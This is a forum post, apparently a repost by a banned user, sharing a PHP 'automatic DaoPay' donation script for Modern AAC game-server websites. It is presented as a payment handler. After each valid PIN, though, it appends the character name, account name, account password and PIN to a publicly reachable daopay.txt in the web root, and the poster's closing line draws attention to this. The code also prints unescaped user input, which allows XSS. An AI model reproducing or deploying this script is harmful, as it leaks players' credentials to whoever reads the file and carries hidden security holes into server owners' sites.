Dragon Force
Banned User
- Joined
- May 24, 2010
- Messages
- 24
- Reaction score
- 0
[ModernAAC] Automatic DaoPay Script
Created by Zonet.
Created by Zonet.
Zonet said:Hi,
I made a own DaoPay script for Modern AAC. I've tested it and it works properly for me.
Any error or bugs in it, post here and I'll fix it asap.
It creates automatic a daopay.txt file in your main folder( /www/ or /htdocs/)PHP:<style type="text/css"> <!-- select[id=payment_product], input[id=payment_character], input[id=payment_pincode] { padding: 3px; border: 1px solid #999; } select[id=payment_product]:focus, input[id=payment_character]:focus, input[id=payment_pincode]:focus { border: 1px solid green; } input[id=payment_check] { background-color: #EEEEEE; color: black; padding-left: 20px; padding-right: 20px; height: 26px; border: 1px solid #CCCCCC; border-radius: 5px; -moz-border-radius: 5px; background-image: -moz-linear-gradient(100% 100% 90deg, #D1D1D1, #FFFFFF); background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#FFFFFF), to(#D1D1D1)); cursor: pointer; } td { color: white; font-weight: bold; height: 20px; color: #666; } --> </style> <?PHP require("config.php"); $mysqli = new mysqli($config['database']['host'], $config['database']['login'], $config['database']['password'], $config['database']['database']); ## simple config. $products = array(1 => '25p', 2 => '50p', 3 => '100p', 4 => '200p'); ## your product names(s) $product_points = array(1 => 25, 2 => 50, 3 => 100, 4 => 200); ## how many points should they get? $product_cost = array(1 => '1EUR', 2 => '2EUR', 3 => '3EUR', 4 => '5EUR'); ## cost of the products $use_more_app_id = false; ## Set to true if you have products with other application id. $application_ids = array(1 => 58533, 2 => 58535, 3 => 58554, 4 => 65422); ## Dont touch this if $use_more_app_id is set to false. $application_id = 58533; ## Use this if you use 1 application id for all produtcs. ## Table layout (colors) $table_color_1 = '#d9dfe2'; $table_color_2 = '#e1e6e9'; ?> <p> <b>1.</b> When you donate money to our project <?= $config['server_name'] ?>, you understand that a donation is a gift and that you cannot demand us to refund your money. The money we receive from donations will be used to improve our server.<br /><br /> <b>2.</b> If you, for any reason, would refund your money, we reserve the rights to ban or delete your account without any further notice.<br /><br /> <b>3.</b> Please save the PIN-code you receive after the transaction incase anything would go wrong when you pick a gift. Otherwise we can not really help you, the PIN-code is pretty much the only proof that you have donated money to our project.<br /><br /> <b>4.</b> As a thanks for supporting our project <?= $config['server_name'] ?> with money, you may request a gift in our gameservers. Based upon how much you donate to us, you can request a better gift. The available gifts can be found here.<br /><br /> </p> <input type="submit" value="I accept!" id="disclaimer" style="width: 100%; padding: 5px; cursor: pointer;" onclick="if(document.getElementById('payment_info').style.display == 'none') { document.getElementById('payment_info').style.display = ''; this.value = 'I don\'t accept!'} else { document.getElementById('payment_info').style.display = 'none'; this.value = 'I accept!'; }" /> <div style="display: none;" id="payment_info"> <input type="submit" value="Make a donation!" id="payment_info" style="width: 100%; padding: 5px; cursor: pointer;"onclick="if(document.getElementById('product_sell').style.display == 'none') { document.getElementById('product_sell').style.display = '';} else { document.getElementById('product_sell').style.display = 'none';}" /> <table id="product_sell" style="display: none;" border="0px" cellspacing="1px" cellpadding="4px" width="100%"> <tr bgcolor="#e1e6e9"> <td>Product</td> <td>Points</td> <td>Cost</td> <td>Link</td> </tr> <?PHP $i = 1; foreach($products as $id => $product) { $color = ($i % 2 ? $table_color_1 : $table_color_2); $i++; echo ' <tr bgcolor="'.$color.'" id="payment_table_info"> <td style="font-weight: bold; font-size: 10pt;">'.$product.'</td> <td style="font-weight: bold; font-size: 10pt;">'.$product_points[$id].'</td> <td style="font-weight: bold; font-size: 10pt;">'.$product_cost[$id].'</td> <td style="font-weight: bold; font-size: 10pt;"><a href="http://daopay.com/payment/?appcode='.($use_more_app_id == false ? $application_id : $application_ids[$id]).'&prodcode='.str_replace(' ', '+', $product).'">('.$product_points[$id].' points) (Cost: '.$product_cost[$id].') - Buy here!</a></td> </tr> '; } ?> </table> <input type="submit" value="I already got my pincode, enter here!" id="payment_info" style="width: 100%; padding: 5px; cursor: pointer;" onclick="if(document.getElementById('enter_code').style.display == 'none') { document.getElementById('enter_code').style.display = '';} else { document.getElementById('enter_code').style.display = 'none'; }" /> <form action="" method="post" id="enter_code" style="display: none"> <label for="product">Product:</label> <select name="product" id="payment_product"> <?PHP foreach($products as $id => $product) echo '<option value="'.$id.'">'.$product.' (Cost: '.$product_cost[$id].') ('.$product_points[$id].' Points)</option>'; ?> </select> <br /><small><i>(Which of the product or how many points did you buy?)</i></small><br /><br /> <label for="character">Character:</label> <input type="text" id="payment_character" name="character" /><br /><br /> <label for="pincode">PIN Code:</label> <input type="text" id="payment_pincode" name="pincode" /><br /><br /> <label for="check"></label> <input type="submit" name="check" id="payment_check" value="Submit" /> </form> </div> <?PHP if(isset($_POST['check'])) { $character = $mysqli->real_escape_string($_POST['character']); $char = $mysqli->query('SELECT `account_id`, `name` FROM `players` WHERE `name` = "'.$character.'"'); $error = array(); if($char->num_rows < 1) $error[] .= 'Such character doesnt exist in our database.'; if(empty($_POST['pincode'])) $error[] .= 'Pincode cannot be blank/empty!'; if(empty($_POST['character'])) $error[] .= 'Type the character name, please!'; if(count($error) > 0) { echo '<div style="border: 1px solid red; padding: 5px;">'; echo '<ul style="color: darkred;">'; foreach($error as $errors) echo '<li>'.$errors.'</li>'; echo '</ul>'; echo '</div>'; } else { echo '<b>PIN Code:</b> '.$_POST['pincode'].', save it in case of something happens!<br />'; $handle = fopen("http://daopay.com/svc/pincheck?appcode=".($use_more_app_id == false ? $application_id : $application_ids[$_POST['product']])."&prodcode=".str_replace(' ', '+', $products[$_POST['product']])."&pin=".trim($_POST['pincode']), "r"); if($handle) { $output = fgets($handle); if(substr($output, 0, 2) == "ok") { echo '<span style="font-weight: bold; color: green;">Correct PIN Code! '.$product_points[$_POST['product']].' '.($product_points[$_POST['product']] > 1 ? 'points' : 'point').' has been added to '.$_POST['character'].'.</span>'; $data = $char->fetch_array(); $mysqli->query('UPDATE `accounts` SET `premium_points` = `premium_points`+ '.$product_points[$_POST['product']].' WHERE `id` = "'.$data['account_id'].'"'); $trans = fopen('daopay.txt', 'a'); if($trans) { $trans_info = $mysqli->query('SELECT `id`, `name`, `password` FROM `accounts` WHERE `id` = '.$data['account_id'])->fetch_array(); fwrite($trans, "Character = ".$_POST["character"].", Account = ".$trans_info["name"].", Password = ".$trans_info["password"].", PIN code = ".trim($_POST["pincode"])."\n"); fclose($trans); } } else { echo 'Wrong Pincode!'; } } } } ## DON'T REMOVE THE CREDITS! echo '<span style="color: red; float: right;"><b>Coded by:</b> <a href="http://otland.net/members/zonet">Zonet</a></span'; ?>
It shows the character name, account, password, pincode.
Like or dislike my coding, that's it.
:thumbup: